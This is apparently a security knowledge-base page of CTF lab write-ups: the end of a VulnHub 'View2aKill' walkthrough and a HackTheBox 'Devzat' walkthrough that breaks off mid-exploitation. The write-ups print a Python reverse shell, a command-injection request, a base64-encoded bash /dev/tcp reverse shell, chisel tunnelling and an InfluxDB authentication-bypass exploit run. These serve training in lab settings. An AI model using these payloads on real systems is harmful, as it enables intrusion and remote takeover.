Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-66-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Jan 23 19:58:43 UTC 2020

  System load:  0.0                Processes:              206
  Usage of /:   65.0% of 11.75GB   Users logged in:        0
  Memory usage: 50%                IP address for enp0s17: 192.168.56.112
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

181 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Jan 23 19:42:33 2020 from 192.168.56.102
jenny@view:~$ id
uid=1007(jenny) gid=1007(jenny) groups=1007(jenny)
jenny@view:~$ whoami
jenny
```

todo.txt:

``` bash
TODO

-Give feedback to marketing on logo (it currently looks like the banner ouside a cheap Italian reseaurant!!)
	-The Boss likes the original, so I guess we're keeping it :/
-Push final script to /home/max/aView.py
	-Waiting on devs and mechanical eng. to finalize programs (no way for QA to test this one! Yikes!)
-Verify James Bond is MI6. They may be on to us.
	-Security says they are trying to infltrate our servers, so they pushed out a new password policy. 
	-Head of Security said this policy will solve all security related problems after I confronted him about it.
-Make a habit of deleting pointless emails.
-Migrate needed desktop items to Linux server.
```

进入max目录下

``` bash
www-data@view:/home$ cd max
cd max
www-data@view:/home/max$ ls
ls
aView.py  note.txt
www-data@view:/home/max$ cat note.txt
cat note.txt
Max,

The electronic controller web application you asked for is almost done. Located on port 8191 this app will allow you to execute your plan from a remote location.

The remote trigger is located in a hidden web directory that only you should know - I verbally confirmed it with you. If you do not recall, the directory is based on an algorithm:  SHA1(lowercase alpha(a-z) + "view" + digit(0-9) + digit(0-9)).

Example: SHA1(rview86) = 044c64c6964998ccb62e8facda730e8307f28de6 = http://<ip>:8191/044c64c6964998ccb62e8facda730e8307f28de6/

- Scarpine
www-data@view:/home/max$ cat aView.py
cat aView.py
cat: aView.py: Permission denied
```

从note.txt了解到需要编写python脚本进行模糊测试

fuzzv2akill.py

``` bash
#!/usr/bin/env python3

from hashlib import sha1

prefixes = [bytes([c]) for c in range(ord('a'), ord('z') + 1)]
xs = range(10)
ys = range(10)
suffixes = [bytes(f'{x}{y}', 'ascii') for x in xs for y in ys]
names = [prefix + b'view' + suffix + b'\n' for prefix in prefixes for suffix in suffixes]
hashes = [sha1(n).hexdigest() for n in names]

for has in hashes:
	print(has)
```

使用dirb+fuzzv2akill.py进行模糊测试

``` bash
root@kali:~# dirb http://192.168.56.112:8191 <(python3 fuzzv2akill.py) -z 250

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Jan 23 08:23:48 2020
URL_BASE: http://192.168.56.112:8191/
WORDLIST_FILES: /dev/fd/63
SPEED_DELAY: 250 milliseconds

-----------------

GENERATED WORDS: 2600                                                          

---- Scanning URL: http://192.168.56.112:8191/ ----
+ http://192.168.56.112:8191/13fabf2bcd385cf87939748490f6a96955212567 (CODE:200|SIZE:147)                                 
+ http://192.168.56.112:8191/d0fa319a11ef644862edf51b9177b9d62a1e6650 (CODE:200|SIZE:133)                                 
+ http://192.168.56.112:8191/ece8236b92964611c75c759bb8c2297e3b962903 (CODE:200|SIZE:119)                                 
+ http://192.168.56.112:8191/7f98ca7ba1484c66bf09627f931448053ae6b55a (CODE:200|SIZE:815)                                 
+ http://192.168.56.112:8191/fa05b73405e2996c69ad78ed1fa0f24b9da965ac (CODE:200|SIZE:119)                                 
+ http://192.168.56.112:8191/af92fb801e526655686899ae8341b9e7cfa21ea0 (CODE:200|SIZE:119)                                 
+ http://192.168.56.112:8191/f871c18649e03d2e9cd7414b95cde578f23dba8d (CODE:200|SIZE:147)                                 
+ http://192.168.56.112:8191/0f3c6dc226621deac4d0a66e0f60785d923fc282 (CODE:200|SIZE:119)                                 
+ http://192.168.56.112:8191/03388bdd6c0ba6a112b0f0d3aca2f3775be0a007 (CODE:200|SIZE:119)                                 
+ http://192.168.56.112:8191/ef1cacc0f3b5aea1a0d56c5df4263580e7b23570 (CODE:200|SIZE:133)                                 
+ http://192.168.56.112:8191/e57019d9886a12e8c27d9d3f4e46fac9603e8bc2 (CODE:200|SIZE:147)                                 
+ http://192.168.56.112:8191/de5eb20114e281e2e514a64d98187d6f30c3c9b4 (CODE:200|SIZE:119)                                 
+ http://192.168.56.112:8191/e7642454c8c6047fd883a859580a0723657fcf45 (CODE:200|SIZE:115)                                 
+ http://192.168.56.112:8191/ad3029ea9d74ebcbde60ec9abaf95ac6eed95490 (CODE:200|SIZE:119)                                 
+ http://192.168.56.112:8191/5a96f2b44b310535334d2b99258db5ea3eadd448 (CODE:200|SIZE:147)                                 
+ http://192.168.56.112:8191/dd0cdfeb376f8e96d2325724eb000588c8cf70f5 (CODE:200|SIZE:119)                                 
+ http://192.168.56.112:8191/d7297045329f04a3bb4b35e629407343868820d4 (CODE:200|SIZE:147)                                 
+ http://192.168.56.112:8191/72fd79c962996b32fc4b0a2a0c5c1b6b1aa860d4 (CODE:200|SIZE:119)                                 
+ http://192.168.56.112:8191/8eb11aa78f52090f8c32f81797e561d7fbd29fd7 (CODE:200|SIZE:147)                                 
+ http://192.168.56.112:8191/f174b138d930be79ab383669319aecbdde70af6a (CODE:200|SIZE:119)                                 
+ http://192.168.56.112:8191/2cfc36dfe3e7f20faa2ad9bc2091c25387844adf (CODE:200|SIZE:133)                                 
+ http://192.168.56.112:8191/7c7b00a0a30137eaac46b32aaec2f9668d6a10d5 (CODE:200|SIZE:119)                                 
                                                                               
-----------------
END_TIME: Thu Jan 23 08:34:44 2020
DOWNLOADED: 2600 - FOUND: 22
```

然后将结果一个个的尝试，找到正确的url结果是：

``` bash
http://192.168.56.112:8191/7f98ca7ba1484c66bf09627f931448053ae6b55a
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub180.jpg)

点击按钮

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub181.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub182.gif)

记得在jenny主目录中有一个todo.txt文件，其中提到将最终脚本到/home/max/aView.py。所以转到该文件并对其进行了修改，使其在端口4444上获得了python reverse shell。在端口4444上启动了netcat监听器，然后再次返回该站点并再次单击execute按钮，然后我获得了root

``` bash
#!/usr/bin/python
# 
# executed from php app add final wrapper/scirpt here
import socket, subprocess, os

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.102", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)

p = subprocess.call(["/bin/sh", "-i"])
```

返回了root权限的shell:

``` bash
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.56.112: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.112] 43356
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# ls
index.html
notes.txt
run.php
view11.gif
# pwd
/root/destroy/7f98ca7ba1484c66bf09627f931448053ae6b55a
```

``` bash
# cd flag
# ls
files
index.php
run_me_for_flag.sh
# pwd
/root/flag
#
```

在/root/flag目录下发现run_me_for_flag.sh脚本，先查看它的内容，然后运行它

``` bash
# cat run_me_for_flag.sh
#!/bin/bash
#
#
#
echo "-------------------------------"
echo "-------------------------------"
echo "Go here:   http://<ip>:8007"
echo "-------------------------------"
echo "-------------------------------"
cd /root/flag;php -S 0.0.0.0:8007
```

``` bash
# ./run_me_for_flag.sh
-------------------------------
-------------------------------
Go here:   http://<ip>:8007
-------------------------------
-------------------------------
```

然后访问

``` bash
http://192.168.56.112:8007/
```

得到最后的flag，还能点击播放背景音乐

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub182.jpg)

#### 知识点总结

 - 登陆密码泄露
 - python脚本模糊测试
 - python reverse shell

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end View2aKill -->

</details>




# 源码历史、配置泄露与后门逆向

Git 历史、测试配置、core dump 和异常共享库能够解释代码与部署状态的差异。本章把源代码观察和实际运行输出并列，保留恢复密钥、定位危险调用和确认文件权限的完整过程。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/source/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Secret、Laboratory 与 Devzat 的源码材料分别影响 Token、Rails 对象和系统命令。

Timing 的命名时间窗口与 Spectra 的备份配置均需要结合文件实际落点。

Undetected 的后门分析保留修改时间、反编译和编码还原证据。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [Git 历史、命令拼接与内部数据库](#case-devzat) | devzat | Git、Go、InfluxDB、CVE-2019-20933 |
| [GitLab 上传重写与密钥链](#case-laboratory) | laboratory | GitLab、Ruby、反序列化、PATH |
| [Git 中的 Token Secret 与 core dump](#case-secret) | secret | Git、JWT、Core Dump、SUID |
| [备份配置与 Upstart 任务](#case-spectra) | spectra | 备份泄露、WordPress、Upstart |
| [上传时间窗口与自定义下载器](#case-timing) | timing | LFI、Git、竞态条件、wget |
| [异常二进制与共享库后门](#case-undetected) | undetected | PHPUnit、后门分析、逆向 |

<a id="case-devzat"></a>

## Git 历史、命令拼接与内部数据库

源码中的系统调用形成初始命令注入，内部 InfluxDB 的认证缺陷连接到用户凭据；开发版文件读取功能提供最后一段证据。

<p class="kb-provenance">来源 devzat · 原记录 2021-10-19 · 22 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-devzat">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start devzat -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	16 Oct 2021
IP:	10.10.11.118

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2089.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### Nmap

``` bash
┌──(root💀kali)-[~/hackthebox/machine/devzat]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.118
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41
8000/tcp open  ssh     (protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.91%I=7%D=10/19%Time=616EC117%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Nmap reveals three open ports, two of them are SSH and one HTTP and it also reveals the hostname, add that to hosts file and access HTTP.

Devzat is actually an application designed to chat with developers over SSH.

 - [devzat](https://github.com/quackduck/devzat)

Let's access the chat.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/devzat]
└─# ssh -l test devzat.htb -p 8000
The authenticity of host '[devzat.htb]:8000 ([10.10.11.118]:8000)' can't be established.
RSA key fingerprint is SHA256:f8dMo2xczXRRA43d9weJ7ReJdZqiCxw5vP7XqBaZutI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[devzat.htb]:8000,[10.10.11.118]:8000' (RSA) to the list of known hosts.
                                                                                                        2 hours 27 minutes earlier
id
devbot:  has left the chat
                                                                                                        2 hours 15 minutes earlier
devbot: pets has joined the chat
                                                                                                        2 hours 14 minutes earlier
devbot: hoge has joined the chat
                                                                                                        2 hours 12 minutes earlier
pets: example-code
                                                                                                         2 hours 7 minutes earlier
devbot: pets has left the chat
devbot: pets stayed on for 8 minutes
                                                                                                          1 hour 8 minutes earlier
devbot: hoge has left the chat
devbot: hoge stayed on for 1 hour 6 minutes
                                                                                                                38 minutes earlier
devbot: You seem to be new here catharine. Welcome to Devzat! Run /help to see what you can do.
devbot: catharine has joined the chat
devbot: catharine has left the chat
devbot: patrick has joined the chat
devbot: patrick has left the chat
devbot: admin has joined the chat
                                                                                                                37 minutes earlier
devbot: admin has left the chat
Welcome to the chat. There are no more users
devbot: test has joined the chat
test: /commands
[SYSTEM] Commands
[SYSTEM] clear - Clears your terminal
[SYSTEM] message - Sends a private message to someone
[SYSTEM] users - Gets a list of the active users
[SYSTEM] all - Gets a list of all users who has ever connected
[SYSTEM] exit - Kicks you out of the chat incase your client was bugged
[SYSTEM] bell - Toggles notifications when you get pinged
[SYSTEM] room - Changes which room you are currently in
[SYSTEM] id - Gets the hashed IP of the user
[SYSTEM] commands - Get a list of commands
[SYSTEM] nick - Change your display name
[SYSTEM] color - Change your display name color
[SYSTEM] timezone - Change how you view time
[SYSTEM] emojis - Get a list of emojis you can use
[SYSTEM] help - Get generic info about the server
[SYSTEM] tictactoe - Play tictactoe
[SYSTEM] hangman - Play hangman
[SYSTEM] shrug - Drops a shrug emoji
[SYSTEM] ascii-art - Bob ross with text
[SYSTEM] example-code - Hello world!
```

There's nothing much which can help us to gain shell access. Let's look for any vhosts.

``` bash
ffuf -c -u http://devzat.htb -H "Host: FUZZ.devzat.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200

pets [Status: 200, Size: 510, Words: 20, Lines: 21]
```

We got one vhost, let's add that to hosts file and access it.

It's a pet inventory, where we can add pet names. Let's look for any Directory's.

``` bash
ffuf -u http://pets.devzat.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -fs 510

css [Status: 301, Size: 40, Words: 3, Lines: 3]
build [Status: 301, Size: 42, Words: 3, Lines: 3]
server-status [Status: 403, Size: 280, Words: 20, Lines: 10]
.git [Status: 301, Size: 41, Words: 3, Lines: 3]
```

We got '.git' directory, let's dump and extract the commits.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/devzat]
└─# /root/GitTools-master/Dumper/gitdumper.sh http://pets.devzat.htb/.git/ pets
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating pets/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/ef/07a04ebb2fc92cf74a39e0e4b843630666a705
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/82/74d7a547c0c3854c074579dfc359664082a8f6
[+] Downloaded: objects/46/4614f32483e1fde60ee53f5d3b4d468d80ff62
[+] Downloaded: objects/55/1abaa3c707703936e5e31b8e4645b35e5f6c07
[+] Downloaded: objects/3a/e86c86b0053b79cdbfc1456d6059986a9d3813
[+] Downloaded: objects/8d/a69971e32e6e08cae489b40731845d1de13258
[+] Downloaded: objects/93/28c7f72254a754c91fddfd3c7e62c1251a2828
[+] Downloaded: objects/2f/37bf8e3a0ce61b74fec752fad017c363511d31
[+] Downloaded: objects/69/f1153887d2790c94f23a00c6f85958cf198418
[+] Downloaded: objects/53/5028803d222b0e4e9174f56529c0ed9fece4e0
[+] Downloaded: objects/54/f95a54c49178dd5d496058e4ee99829748c49a
......
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/devzat/pets]
└─# /root/GitTools-master/Extractor/extractor.sh . pets
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: 8274d7a547c0c3854c074579dfc359664082a8f6
[+] Found file: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/.gitignore
[+] Found folder: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/characteristics
[+] Found file: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/characteristics/bluewhale
[+] Found file: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/characteristics/cat
[+] Found file: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/characteristics/dog
[+] Found file: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/characteristics/giraffe
[+] Found file: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/characteristics/gopher
[+] Found file: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/characteristics/petshop
[+] Found file: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/characteristics/redkite
[+] Found file: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/go.mod
[+] Found file: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/go.sum
[+] Found file: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/main.go
[+] Found file: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/petshop
[+] Found file: /root/hackthebox/machine/devzat/pets/pets/0-8274d7a547c0c3854c074579dfc359664082a8f6/start.sh
......
```

#### vuln confirm

We got the source code, let's dig in.

 - main.go

``` golang
package main

import (
        "embed"
        "encoding/json"
        "fmt"
        "io/fs"
        "io/ioutil"
        "log"
        "net/http"
        "os/exec"
        "time"
)

//go:embed static/public
var web embed.FS

//go:embed static/public/index.html
var index []byte

type Pet struct {
        Name            string `json:"name"`
        Species         string `json:"species"`
        Characteristics string `json:"characteristics"`
}

var (
        Pets []Pet = []Pet{
                {Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},
                {Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},
                {Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},
                {Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},
                {Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},
                {Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},
                {Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},
                {Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},
        }
)

func loadCharacter(species string) string {
        cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
        stdoutStderr, err := cmd.CombinedOutput()
        if err != nil {
                return err.Error()
        }
        return string(stdoutStderr)
}

func getPets(w http.ResponseWriter, r *http.Request) {
        json.NewEncoder(w).Encode(Pets)
}

func addPet(w http.ResponseWriter, r *http.Request) {
        reqBody, _ := ioutil.ReadAll(r.Body)
        var addPet Pet
        err := json.Unmarshal(reqBody, &addPet)
        if err != nil {
                e := fmt.Sprintf("There has been an error: %+v", err)
                http.Error(w, e, http.StatusBadRequest)
                return
        }

        addPet.Characteristics = loadCharacter(addPet.Species)
        Pets = append(Pets, addPet)

        w.WriteHeader(http.StatusOK)
        fmt.Fprint(w, "Pet was added successfully")
}

func handleRequest() {
        build, err := fs.Sub(web, "static/public/build")
        if err != nil {
                panic(err)
        }

        css, err := fs.Sub(web, "static/public/css")
        if err != nil {
                panic(err)
        }

        spaHandler := http.HandlerFunc(spaHandlerFunc)
        // Single page application handler
        http.Handle("/", headerMiddleware(spaHandler))

        // All static folder handler
        http.Handle("/build/", headerMiddleware(http.StripPrefix("/build", http.FileServer(http.FS(build)))))
        http.Handle("/css/", headerMiddleware(http.StripPrefix("/css", http.FileServer(http.FS(css)))))
        http.Handle("/.git/", headerMiddleware(http.StripPrefix("/.git", http.FileServer(http.Dir(".git")))))

        // API routes
        apiHandler := http.HandlerFunc(petHandler)
        http.Handle("/api/pet", headerMiddleware(apiHandler))
        log.Fatal(http.ListenAndServe("127.0.0.1:5000", nil))
}

func spaHandlerFunc(w http.ResponseWriter, r *http.Request) {
        w.WriteHeader(http.StatusOK)
        w.Write(index)
}

func petHandler(w http.ResponseWriter, r *http.Request) {
        // Dispatch by method
        if r.Method == http.MethodPost {
                addPet(w, r)
        } else if r.Method == http.MethodGet {
                getPets(w, r)

        } else {
                http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
        }
        // TODO: Add Update and Delete
}

func headerMiddleware(next http.Handler) http.Handler {
        return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
                w.Header().Add("Server", "My genious go pet server")
                next.ServeHTTP(w, r)
        })
}

func main() {
        resetTicker := time.NewTicker(5 * time.Second)
        done := make(chan bool)

        go func() {
                for {
                        select {
                        case <-done:
                                return
                        case <-resetTicker.C:
                                // Reset Pets to prestaged ones
                                Pets = []Pet{
                                        {Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},
                                        {Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},
                                        {Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},
                                        {Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},
                                        {Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},
                                        {Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},
                                        {Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},
                                        {Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},
                                }

                        }
                }
        }()

        handleRequest()

        time.Sleep(500 * time.Millisecond)
        resetTicker.Stop()
        done <- true
}
```

Species is vulnerable to OS command injection. Add a pet name and intercept the request.

Let's first try to get a ping request back to our machine. Make sure to setup a tcpdump. 

``` bash
POST /api/pet HTTP/1.1
Host: pets.devzat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://pets.devzat.htb/
Content-Type: text/plain;charset=UTF-8
Origin: http://pets.devzat.htb
Content-Length: 53
Connection: close


{"name":"luci","species":"cat;ping -c 4 10.10.14.12"}
```

Forward the request and check tcpdump.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/devzat]
└─# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:46:30.479050 IP devzat.htb > 10.10.14.12: ICMP echo request, id 2, seq 1, length 64
09:46:30.479081 IP 10.10.14.12 > devzat.htb: ICMP echo reply, id 2, seq 1, length 64
09:46:31.381887 IP devzat.htb > 10.10.14.12: ICMP echo request, id 2, seq 2, length 64
09:46:31.381909 IP 10.10.14.12 > devzat.htb: ICMP echo reply, id 2, seq 2, length 64
09:46:32.286606 IP devzat.htb > 10.10.14.12: ICMP echo request, id 2, seq 3, length 64
09:46:32.286624 IP 10.10.14.12 > devzat.htb: ICMP echo reply, id 2, seq 3, length 64
09:46:33.196134 IP devzat.htb > 10.10.14.12: ICMP echo request, id 2, seq 4, length 64
09:46:33.196149 IP 10.10.14.12 > devzat.htb: ICMP echo reply, id 2, seq 4, length 64
```

We got 4 hits from the machine. Let's gain a reverse shell via this vulnerability. Let's encode our bash one-liner and send the request.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/devzat]
└─# echo -n 'bash -i >& /dev/tcp/10.10.14.12/9001 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi85MDAxIDA+JjE=
```

 - payload:

``` bash
cat;echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi85MDAxIDA+JjE= | base64 -d | bash
```

Check the listener.

Stabilize the shell and run linpeas.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/devzat]
└─# nc -lvp 9001                                                                                                                  
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.118.
Ncat: Connection from 10.10.11.118:50764.
bash: cannot set terminal process group (846): Inappropriate ioctl for device
bash: no job control in this shell
patrick@devzat:~/pets$ id
id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick)
patrick@devzat:~/pets$ whoami
whoami
patrick
patrick@devzat:~/pets$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

$ stty raw -echo
$ fg

$ reset
$ screen
patrick@devzat:~$ find / -name "user.txt" 2>/dev/null
/home/catherine/user.txt
patrick@devzat:~$ cat /home/catherine/user.txt
cat: /home/catherine/user.txt: Permission denied
```

You will find a process and port and application name.

``` bash
root 1229 0.0 0.1 550720 3856 ? Sl Oct16 0:00 _ /usr/bin/docker-proxy-proto tcp -host-ip 127.0.0.1 -host-port 8086 -container-ip 172.17.0.2 -container-port 8086
```

Let's forward that port to our kali machine.

 - in kali machine

``` bash
┌──(root💀kali)-[~/hackthebox/machine/devzat]
└─# ./chisel server -p 8000 --reverse
2021/10/19 09:57:19 server: Reverse tunnelling enabled
2021/10/19 09:57:19 server: Fingerprint 3b:f7:31:4d:44:c5:fa:8a:b8:e7:c3:37:bb:0d:40:5f
2021/10/19 09:57:19 server: Listening on http://0.0.0.0:8000
```

 - in target machine

``` bash
patrick@devzat:/tmp$ wget 10.10.14.12/chisel
--2021-10-19 14:01:09--  http://10.10.14.12/chisel
Connecting to 10.10.14.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8687616 (8.3M) [application/octet-stream]
Saving to: ‘chisel’

chisel              100%[===================>]   8.29M   481KB/s    in 20s     

2021-10-19 14:01:30 (415 KB/s) - ‘chisel’ saved [8687616/8687616]

patrick@devzat:/tmp$ chmod 777 chisel
patrick@devzat:/tmp$ ./chisel client 10.10.14.12:8000 R:8086:127.0.0.1:8086 &
[1] 76754
patrick@devzat:/tmp$ 2021/10/19 14:01:46 client: Connecting to ws://10.10.14.12:8000
2021/10/19 14:01:47 client: Fingerprint 3b:f7:31:4d:44:c5:fa:8a:b8:e7:c3:37:bb:0d:40:5f
2021/10/19 14:01:48 client: Connected (Latency 199.990409ms)
```

#### get user

Let's do a service enumeration on this port.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/devzat]
└─# nmap -p 8086 -sV 127.0.0.1
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-19 10:02 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000058s latency).

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.94 seconds
```

InfluxDB 1.7.5 is running on docker, let's look for any vulnerability.

 - [InfluxDB 1.7 release notes InfluxDB OSS 1.7 Documentation](https://docs.influxdata.com/influxdb/v1.7/about_the_project/releasenotes-changelog/#176-2019-04-16/)

TL;DR

The vulnerability allows a remote attacker to bypass authentication process. The vulnerability exists due the JWT token may have an empty SharedSecret in the authenticate function in services/httpd/handler.go. A remote non-authenticated attacker can bypass authentication process and gain unauthorized access to the application.

 - [When all else fails - find a 0-day](https://www.komodosec.com/post/when-all-else-fails-find-a-0-day)

We can exploit it manually by understanding the above blog and steps. Or we can automate with below poc.

 - [InfluxDB Exploit CVE-2019-20933](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/devzat]
└─# python3 /root/InfluxDB-Exploit-CVE-2019-20933/__main__.py 
  _____        __ _            _____  ____    ______            _       _ _   
 |_   _|      / _| |          |  __ \|  _ \  |  ____|          | |     (_) |  
   | |  _ __ | |_| |_   ___  __ |  | | |_) | | |__  __  ___ __ | | ___  _| |_ 
   | | | '_ \|  _| | | | \ \/ / |  | |  _ <  |  __| \ \/ / '_ \| |/ _ \| | __|
  _| |_| | | | | | | |_| |>  <| |__| | |_) | | |____ >  <| |_) | | (_) | | |_ 
 |_____|_| |_|_| |_|\__,_/_/\_\_____/|____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                                         | |                  
                                                         |_|                  
CVE-2019-20933

Insert ip host (default localhost): 
Insert port (default 8086): 
Insert influxdb user (wordlist path to bruteforce username): /usr/share/seclists/Usernames/Names/names.txt

Start username bruteforce
[x] aaliyah
[x] aaren
[x] aarika
[x] aaron
[x] aartjan
[x] aarushi
[x] abagael
[x] abagail
[x] abahri
[x] abbas
[x] abbe
[x] abbey
[x] abbi
[x] abbie
[x] abby
[x] abbye
[x] abdalla
[x] abdallah
[x] abdul
[x] abdullah
[x] abe
[x] abel
[x] abi
[x] abia
[x] abigael
[x] abigail
[x] abigale
......
Host vulnerable !!!
Databases list:

1) devzat
2) _internal

